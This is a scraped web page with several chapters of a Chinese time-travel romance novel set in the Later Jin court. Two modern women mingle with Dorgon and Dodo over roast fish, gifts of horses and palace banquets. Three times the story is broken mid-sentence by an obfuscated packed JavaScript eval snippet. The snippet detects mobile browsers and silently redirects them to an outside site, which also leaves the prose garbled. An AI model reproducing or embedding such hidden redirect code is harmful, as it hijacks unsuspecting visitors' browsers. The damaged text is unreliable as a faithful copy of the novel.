想起之前自己是在药材堆中找到的柠檬片,也不知道现在的辣椒在被当做什么? 没有辣椒,只有孜然的烤鱼,无法满足两位穿越而来的老饕,两人尝了一口,并不是非常满意,但好在这野生鱼足够新鲜,比饲料养大的鱼肉质更为紧实,细品之下,还有一股淡淡的回甘。 “好吃,不一样的风味。”童尘夸赞道。 于微也附和点头,“熟了。” 多尔衮见鱼熟了,四下看了眼,麻利爬上一棵树,摘了几片树上的大叶子,在水边清洗干净,又晾干,作为装烤鱼的盘子。 烤好的鱼摊在大叶上,多尔衮从腰间取出随身携带的餐刀,切掉鱼头鱼尾,弃之不要,又将鱼分成几大块,用与餐刀放在一起的筷子,挑出较大的鱼刺,这样叶子上就只剩下鱼肉。 他先给了童尘,再给了于微,而后更细心的处理了一份,将一些难以找寻的小刺也挑了出来,分给三位格格。道过谢之后,几人取下自己腰间挂着的餐刀,大快朵颐。 于微望着手中鱼肉,想起刚才多尔衮分好鱼后,第一个递给了童尘,又想起童尘说的那个帅哥,看样子,这人还真是多尔衮。 她偷偷笑了下,胳膊肘轻撞向童尘,童尘刚挑起的鱼肉,还没送到张开的嘴边,就落回叶子上,她蹙眉,看向于微,于微笑而不语,童尘也很快明白她脸上笑的含义,嘴角压也压不住,低着垂下头去。 一阵马蹄声由远及近,多尔衮举目望去,转过头对于微道:“多铎来了。” 童尘顺着他的视线望去,果不其然,但见多铎带着随从,出现在不远处,她立刻用方才于微看她的眼神看了回去,还用胳膊肘戳了一下她,“嗯?” 于微躲开童尘的手,鼻孔喷出两行浊气,脸沉下来,小声道,“烦死了。” “哥。”多铎见过多尔衮,童尘和几个小格格也起身,见过他。 “九贝勒。” “十五叔。” 于微头也不回,仿佛屁股生根,扎在石上,多尔衮扫了她一眼,又看向多铎,似乎明白了什么,低头一笑。 下一瞬,于微身侧一挤,多铎不由分说,在她身旁坐下,石头不大,她顿时被挤得半边身子都空了出去。 她捧着烤鱼站了起来,怒视多铎,“你干什么?” 多铎一愣,往过让了让,伸手去拉于微,“坐。” 于微翻了个白眼,在童尘身边坐下,众人见他二人如此,都憋着笑,多铎当众被下了面子,脸上也有些挂不住,“我以为你去哪儿玩呢,原来是和十四哥一起。” “我能跟谁一起。”于微敏锐觉察到了多铎话中的阴阳怪气。 多铎抬眸,“你不是之前经常和费扬果去骑马吗?” “你!” 见两人相互拆台,言语中都已经有了怒意,多尔衮赶紧出言打断,“多铎。说什么呢。” 多尔衮拔下一根烤鱼,递给多铎,“别说了,吃鱼,刚抓的鱼,新鲜着呢。” 多铎看了一眼还插在棍子上的鱼,“这怎么吃。” 饶是多尔衮,也有些烦了,“怎么吃,拿嘴吃。” 开始吃鱼,大家便安静下来,唯有多尔衮,不时出声提醒小格格们要小心鱼刺。 吃完烤鱼,略作休息,见时辰还早,多尔衮提出带众人去不远处的舍利塔玩,小格格们自然支持,童尘也愿意去,于微便也去。 多尔衮看向多铎,“你呢?” 多铎蹙眉,认真问道:“你们还不打算带我吗?” “不是怕你不去嘛。”童尘笑道。 “去,为什么不去。” 几人骑马沿着浑河而行,在一处分水前转道,没过多久,舍利塔的影子,便出现在平原尽头,塔前有一弯静水,倒映恢弘塔身,晚间夕阳霞光,萦绕在影周,如同舍利塔发出万丈佛光,普度世人。 多尔衮向众人介绍道:“舍利塔全名污垢净光舍利塔,始建于辽代,历经百年,坍塌殆尽,大汗登基后,下令重修,重修后的舍利塔,重绽华光,是盛京一处不可不赏之景。” 他看了一眼童尘,童尘被舍利塔壮丽的景色吸引,连忙扯了扯于微,两人双手合十,许下发财的宏愿。 蒙古部落多信佛教,多尔衮见二人对塔许愿,继续道:“据佛经所言,舍利塔可以消除一切罪障,无论身处塔影,遥望塔身,哪怕是听到塔名,都能得到救赎,舍利塔破一切执着、妄念、烦恼,不染污垢,清净至极,故名污垢净光舍利塔。” “你知道的真多。”童尘看向多尔衮,夸赞道,多尔衮低头一笑,“不敢不敢。” “盛京附近还有很多好玩的地方,不知别吉可有去过?” 童尘摇头,“没有。” 于微尴尬道:“我对盛京也不是很熟悉,所以我们只在附近玩过。” 多尔衮一笑而过,“既然如此,我带别吉去看看如何。” 对方申请成为你的导游。 童尘眼中欣喜一闪而过,似乎很乐意前往的样子,但她没有一口答应,而是看向于微,问道:“你去不去。” 多尔衮见她这样子,知道于微若是不去,她也不会去,可到底这是他弟弟的福晋,今日这是意外,哪有小叔子单独带着弟弟福晋出去游玩的道理。 他只能另辟蹊径,对多铎道:“你也该带你福晋到盛京附近转转,她一嫁过来,你就出征去了,留她在家里担惊受怕,现在回来了,也该好好陪陪她。” 多尔衮不说还好,一说于微立刻不想去了,“我不去,你自己去吧。”或许是觉得直接拒绝,让多尔衮下不来台,于微解释道: “新福晋已经入宫,还有一位新福晋要入宫,婚礼繁琐,国君福晋刚生育不久,有小格格要照顾,西宫福晋也是,宫中正是需要人手的时候。” 童尘见于微不去,便拒绝了多尔衮,“多谢九贝勒美意,大福晋的小格格还小,做妹妹的,应该多帮帮她,我就不去了。” “你去吧。”于微劝童尘道,“你带着几个大一些的格格,有我在宫中就够了。” 说完,她压低了声音,小声道:“我就不当电灯泡了。” 童尘对上于微含笑的双眼,“真不去?” 于微抿唇,无奈道:“我要能去我肯定就去了。” “好吧。”童尘最终接受了多尔衮的导游申请,“如此,便有劳九贝勒了。” 几人又去舍利塔中转了一圈,古寺夕阳,梵音阵阵,青砖红墙,漫步其中,于微有种莫名的宁静之感,寺中没什么新奇的东西,几人四处看了看,便打道回府。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969251|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 多尔衮送童尘和格格们回汉宫,于微则与多铎返回贝勒府,两人才在炕上坐下,便听外面传来阵呼唤声。 “阿玛。” 三岁的大格格风似的跑过长廊,钻进屋中,多铎见是大格格,脸上神情温柔了几分,“怎么了?” 大格格扑进多铎怀中,没忘向于微问好,“额涅好。” 于微笑着点点头,“舒伦来了。” 大格格名为舒伦,汉意是小鹌鹑,听哈日娜说,她出生的时候很弱小,像个小鹌鹑,所以就给她取了这个名字。这名字是很满人的一个名字,跟她爷爷的‘如野猪一样雄壮’的名字努尔哈赤有异曲同工之妙。 大格格扬起脸,问多铎道:“阿玛去哪儿了?舒伦找了阿玛好久。” 多铎面不改色,“阿玛有事。” “那阿玛现在忙完了吗?”大格格追问道。 多铎点头,“嗯。” “阿玛,跟我走。”说着,大格格就拽着多铎往外去,多铎不明所以,回头看了于微一眼,于微巴不得多铎走,直朝他挥手,“快去吧,孩子等你大半天了。” 昨晚没怎么休息好,下午又出去玩了这么久,于微早精疲力竭,洗漱之后,便躺上了床,肚子固然有些饿,但困感显然更胜一筹。 人为什么不能同时吃饭和睡觉呢?哦,睡着了就不饿了。 棉被松软,带着一股晒过的太阳气,于微闭上眼睛,没过多久便陷入了梦乡。睡着睡着,隐约间她被人推了一下,她翻了个身,撞上一堵墙,她就这么靠着墙,睡着了。 次日一大早,于微是被饥饿唤醒的,肚子咕噜咕噜叫,她不得不睁开眼睛,涣散的视线渐渐聚拢,映入眼帘的是暖阁架子床靠着的那堵粉刷过的青砖墙壁。 于微摸了摸额头,凹凸不平,墙砖上的纹路,就这么印在了她的脑门。 就在她想着自己怎么睡到这里面来了的时候,身后忽然传来阵异动,她猛然回首,多铎翻了个身,抱着被子睡得正香,他手脚伸展,一个人占据了大半床铺。 难怪自己睡到了这角落里,原来是拜他所赐。 于微搡了他一把,多铎惊醒,见是于微,怒道:“你做什么?” “你挤到我了。” 于微手脚并用,想要将多铎推出去,多铎却一时顾不上她,慌手乱脚去扯被子,盖在自己身上,最后连人带被子被于微赶到了边缘,摇摇欲坠之地。 “你!” 于微冷笑声,“我?我怎样?” 她看开了,既然童尘决定留下,她也就没有一定要返回草原的理由,只要能留在盛京,政治联姻也将就一下吧,但既然是联姻,她就不能亏待自己。 穿过来这么久,于微对自己身份的了解逐渐加深,是,多铎牛逼,可她也不是什么小卡拉米,俗话说得好,不看僧面还看佛面,她姐夫皇太极还没死呢。 虽然多铎不是博尔济吉特的赘婿,但她也不是可以任人拿捏的小媳妇。这是后金,孔夫子朱夫子的妇德风还没吹来。 给他两下又怎么了? 将多铎赶到边缘,于微自己也不睡,穿鞋下床,准备先吃早饭,吃完再回来睡觉,多铎被她这么一搅,美梦成空,在床上翻来覆去几次,都没有成功入睡,愤愤坐了起来。 于微吃完早饭,正打算睡个回笼觉,却见多铎坐在床上,脸色阴沉,盯着被子出神。 18. 交情 多铎坐在床边,出神好半天,于微见他不说话,也不理他,越过他,在床内躺下,扯过被子,正欲睡觉,多铎却扭头看向她,于微捏着胸前的被子,对上他的视线,“怎么了?” “下次不许这么早吵醒我。”多铎脸上的怒气,已经难以压制,“不然我对你不客气了。” 于微一听,竖眉道:“是我想吵醒你吗?你都要把我挤到墙里去了。” “那床就这么大。”多铎振振有词。 “你就不能换个地方睡,非要跟我挤在一起。” 多铎闻言,声音也高了两度,“我不跟你睡我跟谁睡?这是我的府邸,我的院子。” 如清宁宫之于哲哲和皇太极,这正院也不是于微一个人专属,难怪那些侍女越过她,以多铎的喜好为先,机灵的人,都是很能分得清大小王的。 不巧,她是小王。 不行,她要翻身小王把歌唱。 “你不是还有哈日娜这个福晋吗?”于微想要占据整个屋子,迫不及待要将多铎赶出去,她坐了起来,认真看向多铎,“她要生了,你难道不该多陪陪她吗?” 多铎侧首,认真看了于微一眼,垂眸,略微思索,没说同意,也没有拒绝,而是自顾自躺下,当做什么都没听到一样,闭上眼睛睡觉。 于微翻了个白眼,躺下继续睡觉。 两人难得在某件事上达成如此高度的统一,在当纯睡战士这件事上,两人默契的同时表现出了年轻人应有之本色——不到日上三竿,绝不起床。 早饭是不吃的,直接一步到位,吃中午饭,只是今天是个例外,饥饿战胜了瞌睡,将于微从梦中唤醒,她额外吃了个早饭。 回笼觉要比直接睡更香甜,一觉睡醒,神清气爽,于微心情大好,连带着看多铎都没有那么碍眼了。多铎睡醒了,便将先前的不愉快全抛之脑后。 他们不说话,但也没有先前那么敌对。 两人慢悠悠从床上爬起,洗漱更衣,多铎心情不错,认真选着衣服。于微对镜,镜中花花绿绿一片,她还以为多铎开了她的衣柜,猛然回首一看,发现并不是。 她也没有这么显眼的衣服啊,目之所及,朱红、草绿、葡萄紫艳丽,苍蓝、杏黄、雪灰耀眼,这都是些很难染的颜色,草原并不产丝绸,与明国的商路被后金阻断。 后金没有发达的丝织业,没有桑蚕,只有少部分地方,如胶东一带有部分柞蚕,柞蚕不如桑蚕丝细,产量也低,无法满足国内需求。 受困于染色技术,后金国内绸缎多以石青等暗沉的颜色为主,所以无论是后金国内,还是现在的科尔沁,丝绸都称得上是奢侈品,尤其是难染的复杂颜色,价值更高。 蒙古重五色,蓝绿红白,还有帝王之黄,蓝为天之色,绿为草之色,红为火之色,白为奶色,黄色从元朝起就是贵族之色。 于微的衣服多以这五色为主,间或一些别的颜色的衣服。 衮布妣吉说她年轻,就要穿鲜艳的颜色。 望着侍女手中花花绿绿一堆衣袍,于微心中不由腹诽,难不成也有人这么跟多铎说了? 见于微回头,盯着自己的衣服,多铎笑了下,以为他被这些好看的衣服吸引,随即用带着骄傲的口气道:“怎么,喜欢吗?我那里还有一些颜色鲜艳的缎子,可以给你做衣服。” 能有这么多漂亮的衣服,说明多铎有钱,现在看来,他还不抠门。 这人好像也不是一无是处。于微心想。 于微笑了下,手撑在下巴上,打量着正由侍女为他穿上朱红长袍的多铎,“真的?” 多铎歪头看向于微,目光轻松,“骗你做什么?” 十匹绸缎放在眼前,于微伸手摸了摸,光滑细腻,确认是桑蚕不是柞蚕,她看向多铎,眼中已经有了几分惊愕,“真给我?” 俗话说得好,无事献殷勤,非奸即盗。 “当然给你,不过。” 于微的手立刻缩了回来,果然,绸缎不是白拿的。 “以后早上没事不许吵醒我,你就是要起,也动作小点。”一想到早上自己被吵醒的事情,多铎就气不打一处来。战时就算了,现在都到家了,还不能休息两天,躺一躺! 于微的手立刻放了回去,点头如捣蒜,“放心吧,今天是意外。” 俗话又说了,有绸缎不要王八蛋。 “阿雅,抱走。” 用过午饭,多铎提出带于微去庄子上转转,顺道把那三百只羊赔给她。 三百只羊的价值并不低,她出嫁时,作为近支亲属的吴克善也才送了她三百只羊,牛马、貂裘等物,这还是以侄子兼大伯双重身份,给的类嫁妆财产。 其实多铎赔三十只她就不会再追究了。 可对方说要给三百只,天上掉羊不收就太缺心眼了,于微咬咬牙,昧着良心照单全收。多出来的,就算她采花的辛苦费。 两人骑马出行,多铎见于微一改从前坐车的习惯,开始骑马,微微挑眉,“怎么?车坐够了?” “够了够了。” 都要坐恶心了。 “送给巴特玛之外的马你也可以选一匹。”多铎道。 于微深吸一口气,“真的?” 这已经是她今天第三次问出同样的问题了,答案毋庸置疑,可是她还是忍不住去问。 天上可以掉一个馅饼,接二连三掉就有点.....杀猪盘了。 命运会不会在暗中已经标好价格了呢? “不要算了。”多铎道。 “为什么不要。”就算标价她也认了,谁说标价了,就一定要付钱呢,她可以赖命运的帐啊! 多铎名下的庄子很多,他带着于微去了最近的几个大庄子,庄子里遍植各色果蔬,色泽金黄的梨、白里透红的杏,柿子挂在枝头,引来雀鸟,还有一些于微不认识的水果。 她仿佛打开了新世界的大门,左看看,右看看,她以为送到贝勒府的东西就已经够多了,没想到庄子里还有别的。 凡她看过的,多铎都让人摘下来,从庄子上离开,随从马匹上驮满了东西,一行人又转道去牧场。 一望无垠的原野上,搭起行帐,随从们将洗净切好的水果端上来,牧场的牧人匆匆带着家眷赶来,见过于微与多铎,“贝勒,福晋。” 篝火升起,烤全羊架上火堆,于微这才后知后觉反应过来,多铎这是带自己出来玩了一圈。附近的官员听说本旗贝勒至此,很快前来拜见。 宴席的规模逐渐扩大,官员带来的乐人,演奏起乐曲,觥筹交错间,恭维声愈发响亮,原本只是寻常出游,却渐渐变了味道,变得商务。 一群陌生人对着自己极尽恭维,马屁固然拍的响亮,话虽然说的好听,但终究隔了一层陌生,于微开始觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977411|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得枯燥,可作为主人,留下客人自行离开未免失礼。 就在她百无聊赖敷衍着这些人的时候,随从来报,“贝勒,福晋,九贝勒和巴特玛别吉来了。” 尘!她的尘! 于微顿时眼前一亮。 多尔衮和童尘大步入内,所经之处,官员无不起身行礼,多铎也站了起来,自然朝身侧于微伸出只手,想扶她起来,于微却已经自己站了起来。 她两步上前,和同样朝她快步走来的童尘拉住双手。 “你们怎么也到这儿了?”于微好奇问道。 童尘笑道:“是多尔衮看见帐篷,知道你们在这儿,所以就过来了。” 多尔衮一笑,对童尘说了一番只有他们两个人才能听懂的话,“你看,他这不就偷偷带你姐姐出来了。”于微看了两人一眼,推了童尘一把,“哟,说上悄悄话了。” 童尘只是笑,“哎呀,我要吃烤羊腿,快点给我端上来。” 随从为二人增席,有了童尘,于微才重新打起精神,宴会也重新变得有趣,下官们见状,纷纷奉承,惹得众人哈哈大笑,一时宾主尽欢。 酒正酣时,多铎举杯,敬于微,看在两人之间三百只羊、十匹绸缎、一匹马的深厚交情,于微当即捧起了酒杯。 多尔衮一手据膝,不时侧身和身边的童尘说着什么,一语毕,见上首两人对饮,忽然想起什么,凑到童尘耳边,跟她小声说了几句什么。 正喝酒的童尘被这忽如其来的几句话惹得大笑,口中的酒‘噗嗤’声全喷了出来,她一急,又被酒呛到,一边剧烈咳嗽,一边浑身止不住的颤笑,笑的眼泪都落下来了。 于微和多铎被不远处异响吸引,纷纷看了过来,见是童尘,于微也笑了,忙上前接过多尔衮的手,轻拍她背,侍女们拿出巾帕,为她擦去身上狼狈。 “十四哥说了什么?不妨讲出来,让我们也听一听。” 多铎先问道,于微也看向童尘,童尘看向多尔衮,一个没忍住,又笑了出来,她一头扎进于微怀中,小声道:“我不中了。” 多尔衮看了一眼童尘,悠闲道:“就是些寻常笑话。还记得咱们随大汗出征时截获的那份明国塘报吗?” 多铎一听,脸顿时沉了下来,咬牙切齿道:“该死的塘报。” 帐中有人知晓此事,脸上浮现出笑意。见众人都如此神情,于微更好奇了,“什么塘报。” “是一封明军谎报军情的塘报,他们在塘报中,说自己用大炮轰死了敌方一名重要人物,应该是十王之子,年纪约莫二十岁。” “当时大贝勒还在笑,说多铎今年才二十一岁,什么时候多出一个二十岁的儿子。多铎当时语出惊人,惹得众人大笑。” 于微更好奇了,“他说什么?” “他说,塘报里怎么不说被轰死的是他呢。结果后来又截获塘报,明军真说轰死了我们一个王。岳讬就打趣多铎,‘听说你被明军轰死了’。” 多尔衮话音刚落,童尘适时补道:“还记得那个,‘听说你逢人就说我死了’那个梗吗?” 塘报要传给上级,作为炫耀的战功,那可不是,逢人就说他死了。 于微一秒破功,“哈哈哈哈哈。” 两人相视哈哈大笑,多尔衮也笑,帐中官员也跟着笑,唯有在明军塘报已经是死人一个的多铎,因被取笑而脸色难看。 19. 两匹姐妹马 多尔衮讲完笑话,举杯敬多铎,多铎脸色难看,但众人都看着,为小事发生气,难免有些小气,他也举杯,多尔衮又遥敬于微与身边童尘,四人各喝了一杯,塘报的笑话,就告一段落。 一个侍卫入内,向多铎禀报道:“贝勒,马已经带来。” 多铎对童尘道:“巴特玛别吉远道而来,备马一匹,送给别吉。” 童尘有些意外,“真的?给我的吗?” 多铎见童尘反应,和早上于微的反应一模一样,心想不愧是亲姐妹,笑道:“当然,马就在门外,别吉可以去看看。” 童尘当即站了起来,朝于微伸手,于微也站了起来,两人拉着手,高兴往帐外而去,多铎和多尔衮紧随其后,帐中官员也好奇跟了上去,想看个稀奇。两匹带鞍的好马,被马夫牵着,静静矗立帐外,安静而温顺。 “这两匹马,是一母所生,都是难得的温顺良马,一匹给福晋,一匹送给别吉。” 于微诧异看向多铎,对他的巧思感到阵意外,送马没什么,但送一对姐妹两匹姐妹马,就显得不同寻常起来。童尘也有些吃惊,看了一眼多铎,又看向于微,调侃道:“你老公这么会讨你欢心啊。” “嘶。”于微轻轻搡了童尘一把,“什么叫讨我的欢心,你不收马吗?” “那他送我马不是为了我啊,是为了你啊,我啊~”童尘的声音高了两个度,“也是沾了你的光。” 于微伸手就要去捂童尘的嘴,童尘灵巧闪开,于微紧追不舍,童尘躲闪不及,闪到了多尔衮身后,多尔衮笑着,趁人不注意,微微往右挪了一步,挡住了于微抓人的步伐。 “啧。” 于微不满的看了‘拦路虎’一眼,又回头看了一眼多铎,众目睽睽,她到底不好跟多尔衮揪扯不清,只得退了回去,对童尘道:“好了,快选吧,否则都是我的了。” 童尘从多尔衮身后钻了出来,在两匹马间左看看,右看看,问于微道:“你喜欢哪一匹?” 于微看不出好坏,随手指了一匹,童尘点点头,指着于微看中的那匹马道:“那我就要这个。” “巴特玛!”于微的声音高了两度,“耍我是吧。” 童尘故意道:“你看中的马肯定是好马,既然是好马,那我当然要骑走,来呀,快把我的马牵走。” 于微哭笑不得,“让她牵走让她牵走!真是的。” 多尔衮看着分马的姐妹,忽然愁眉不展,他看向多铎,压低了声音问道:“你送巴特玛别吉马,那我送什么?” 多铎斜了多尔衮一眼,“那我怎么知道,是你送又不是我送,我又没有什么图谋的,只是想送点东西给自己福晋的妹妹。” 多尔衮冷笑声,“没有图谋,你这话说出去,自己信吗?” 八旗的现状,大家有目共睹,两红旗在大贝勒代善父子控制下,莽古尔泰、德格类兄弟掌控正蓝旗,大汗手中能控制的不过两黄旗,以及济尔哈朗手中的镶蓝旗。 与莽古尔泰、德格类同母的哈达格格莽古济,她的女儿嫁给了代善之子岳讬,两红和正蓝旗之间往来密切,三对三,这个时候,他们兄弟三人执掌的两白旗的动向就变得举足轻重起来。 皇太极需要小贝勒们,小贝勒们也需要大汗,现在,到了他们双向奔赴的时候了,他们娶的不是大福晋的妹妹,是自己明亮的前途。 多铎不语,转身往帐中走去,宴会继续,快到尾声时,宾主都已经有了醉意,多尔衮和多铎商议之后,由多尔衮送童尘回汗宫,多铎和于微回府。 童尘不想走,想和于微住,奈何她出门前,哲哲再三叮嘱,一定要回汗宫。她也知道,哲哲是不想让她打扰这对新婚的夫妻,才让阿图格格拖住她,不让她去十贝勒府。 姐妹二人依依惜别,各自回家。 出去转了一圈,于微心情不错,睡觉之前,还跟多铎说了句‘好梦’,多铎眯着眼睛,注视她翻过去,朝着自己的后背良久,终是闭上了眼睛。 次日醒来,空气中明显多了冷意,于微往上掖了掖被子,扭头一看,多铎还在睡觉,他似乎也感觉到凉意,将自己裹得严严实实,粽子一般。 她蹑手蹑脚从床上爬起来,小心迈过多铎,穿鞋下床,阿雅见屋中有细微响动,知道于微醒了,便端着银盆与热水入内。 热水注入银盆,股股氤氲蒸汽腾起空中,天气,肉眼可见的冷了起来。 天气一冷,就到了挖人参的季节,为了祈求山神保佑和感激山神馈赠,后金一带的祭祀活动变得频繁,八旗都要挖人参,多铎旗下也组织了相应的人力,进山挖人参、采蜜。 往年这些事情哈日娜也有参与,故而她时常出入正屋,和多铎商讨事务,他们说起话来,十分自然,点到为止,彼此却能心领神会。 于微感觉氛围不对,急遁而走,除了清宁宫她也没什么别的地方能去,她于是借着帮哲哲照顾格格们的名义,堂而皇之进了汗宫。 哲哲和扎鲁特福晋、布木布泰以及新入宫的芭德玛瑙福晋正商讨着汗宫事务,童尘带着三个小格格在外面玩‘嘎拉哈’。 ‘嘎拉哈’是一种儿童玩具,用羊膝骨制成,童尘对这种没见过的东西很感兴趣,跟三个大格格玩得不亦乐乎。于微在内,她坐在临窗的炕上,侄女兼将来的弟妹达哲格格和奶团子淑哲一左一右挨在她身边。 达哲前不久得了风寒,又出了水痘,故而没能跟姨妈姐妹们一起出宫玩,现在病好些了,但哲哲仍旧不许她出去吹冷风。 天气有些冷,于微又懒,不想出门,于是童尘带着三个大格格在院子里玩‘嘎拉哈’,她待在屋里,照看才病愈的达哲、年纪小的淑哲和尚在摇篮里的飞扬古三个格格。 六个格格,一人照顾三个,实在是公平。 飞扬古在摇篮里睡得正香,不需要人陪伴,于微便哄两个小格格玩,她拿了把小剪子,一点一点剪开红纸,缤纷碎屑纷扬落下,抖开剩下的纸张一看,喜字歪歪扭扭。 剪纸的精髓难学,最简单就是个喜了,本想着忽悠一下小孩子玩罢了,谁料达哲格格看着那喜字却笑了,直言不讳道:“姨妈你剪得好丑。” “霍。”于微看向达哲,“怎么能这么说姨妈我呢?” 小姑娘说话当真是没轻没重,也不怕自己这个大姑子将来为难她,关于达哲和奇塔特的婚事,于微花了半年时间,终于...接受了一点点。 达哲伸手拿过于微手中的小剪刀,要给她这个姨妈露一手,“看我的。” 淑哲见于微不剪纸了,挤进她怀中,蹭了又蹭,口齿不清道:“姨妈。” 于微低头望向怀中淑哲,认真道:“你不能叫我姨妈。” 这个辈分不对。 雅图、阿图和淑哲不能叫她姨妈,从布木布泰那边,应该叫姨奶奶或者表姐,从皇太极这边应该叫婶婶,只能马喀塔、达哲和飞扬古叫她姨妈,或者婶婶。 于微捏了捏淑哲的小脸,“瞎叫,叫婶婶。” 淑哲听话道:“婶婶。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983854|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>外间传来阵咯咯的笑声,于微从明窗中望去,原来是雅图赢了,所有的‘嘎拉哈’都归她所有,她开心的用衣摆兜着颜色各异的羊拐骨,往屋中跑来。 “达哲,快看。” 雅图将怀中羊拐骨往达哲面前一摊,毫不吝啬的和她分享,“我拿你的嘎拉哈赢的,咱俩一人一半。” 见雅图赢了‘嘎拉哈’,达哲也不剪纸了,丢掉小剪刀就朝雅图和羊拐骨们扑了过去,雅图和达哲年纪相差很小,只有一岁多,故而她们的关系要比和其他姐妹更亲密些。 小些的阿图就罢了,年长的童尘和马喀塔都铩羽而归,两人脸上都挂着些尴尬之色,俗话说得好,人类的悲欢并不相通,马喀塔和童尘恹恹在炕上坐下,看达哲和雅图兴高采烈分战利品。 侍女们端上茶和糕点,几人围坐在一起,一边吃着茶点,一边好奇听大人们讲话。 新福晋乌尤塔大概在九月底启程,由兄长吴克善和母亲博礼妣吉护送而来,与大汗皇太极成婚,新福晋的到来是一回事,芭德玛瑙福晋与亲戚们相见是另一回事。 芭德玛瑙福晋是在皇太极出征途中,亲率众往行帐归降,皇太极在外所娶,携归盛京之后,只与皇太极的福晋们相见,尚未与众亲戚相见。 于是哲哲与三位福晋商议后,决定先举行宴会,让众人见过芭德玛瑙福晋,再说新福晋的事情。 诸事都议定,外间忽然有侍女道:“下雪了。” 众人闻言,都外出查看,东北的冬天,来的的确很早,一天一个温度,不过半个月,居然就下起雪来,细小的雪花从天空飘落,落在掌心,很快融化。天边黑云积压,暴风雪的身影,若隐若现。 哲哲回头,对于微道:“你快回家去吧,雪大了路就不好走了。” 回家? 家.... 于微抿唇,有些不太愿意的样子,那可不是她的家,比起十贝勒府,还是清宁宫更亲近一些,毕竟这里有童尘,还有哲哲,哲哲一眼便捕捉到她脸上细微的情绪,和布木布泰对视一眼,对两位福晋道:“你们也先回去吧。” 两位福晋行礼离去,哲哲带着她与布木布泰入内,坐定之后,才询问道:“怎么了?” “不想回去。”于微低头。 布木布泰见状,追问道:“怎么了,他对你不好吗?” “也不是。”于微声音越来越低,“就是不想回去。” 没有归属感的地方,是一个陌生之地,骤然从熟悉的环境,跌落一个多余的处境,于微想一想,就觉得心中酸涩。她抬头,看向童尘,又看了一眼哲哲,摇头道:“就是不想回去。” 哲哲和布木布泰望着她,脸上露出无奈的神情,哲哲叹口气,垂眸略微思索,却也能想明白些许,并没有为难她,而是道:“既然如此,那就留下来吧,我派人去和十贝勒说。” 于微和童尘同住,因为下雪,宫里就烧起了地龙,炕烧得很暖和,于微睡着睡着,忽然一头扎进童尘怀中,童尘抱着于微,将下巴搁在她肩背,她们就这么抱着彼此,抱着自己在异世之中,唯一一点可以抓住的熟悉。 “你真的想嫁给多尔衮吗?”于微问道。 童尘沉默了一阵,“那不然我也嫁给多铎?” 咯咯的笑声,从被子里传出来,于微笑道:“娥皇女英是吧,我一三五,你二四六,周末开那个什么趴。” “周末让他休息吧,不然不出三年我俩就成寡妇了。” “哈哈哈哈哈哈。” 20. 冰床 一夜北风紧,两人听着呼啸风声,一觉睡到大天亮,窗外一片白,雪后的盛京,彻底成了冰雪的国度,两人秋装穿了没几日,就换冬装。 貂裘保暖,罩在衣外,任凭外面冰天雪地,衣内始终温暖,无论男女都戴上了暖帽,女帽为坤秋帽,帽后三尺长的飘带,绣花坠珠,成为色彩单调的皮草上一点亮光。 点点亮光,汇聚清宁宫,诸贝勒福晋、姑格格、格格,均入清宁宫,与芭德玛瑙福晋相见。从汗宫拜见完先汗几位遗孀归来的哲哲与三福晋,又与诸位亲眷相见。 芭德玛瑙福晋朝大贝勒之妻行礼的那一瞬,于微和童尘大脑相继宕机,两人不可置信的看向行礼的芭德玛瑙福晋,又看向对方,眼底惊愕,一闪而过。 不是很对吧。 皇太极的老婆要给代善的老婆行礼?这合理吗? 紧接着,芭德玛瑙福晋又显候向一个中年女子,和之前见过的哈达格格莽古济行礼。 嗯?于微的君臣观受到了挑战。 新福晋拜见过皇太极的嫂、姐,就到齿序靠后的贝勒福晋们见过她,芭德玛瑙福晋热情扶起于微,于微才真正意义上近距离见过这位新福晋。 她很年轻,不过三十出头,风华正茂,接人待物,十分周到。 于微退下之后,不由偷偷对童尘道:“不愧是掌管一方的大妃,还真是与众不同。” 她之前听费扬果说过,末代蒙古大汗林丹汗有八位大妃,分别统管八个斡耳朵,即他实控范围内的八个万户,芭德玛瑙大妃位列第四,掌管窦土门万户,有大妃之名、诸侯之实。 蒙古贵族妇女多拥有自己的宫帐,即斡耳朵,有了部众和财产,就拥有一定的话语权和权力。 于微跟童尘也在草原上听部落祭司讲了不少关于蒙古杰出女性的故事。 全蒙古的大汗要由忽里台大会选出来,新旧交替之际,多由前任皇后监国,所以蒙古涌现了一批又一批监国皇后、大妃,就连蒙古的公主,也能够监国,或带着政治任务嫁往一方,成为一方实际的掌权者。 蒙古继承法则中,还有一条特殊的存在,若是忽里台大会选不出来新大汗,就由前大汗的大妃们选,愿意改嫁给谁,谁就是新大汗。蒙古中兴之主达延汗,就是被大了他二十多岁的满都海选中,才成为新大汗。 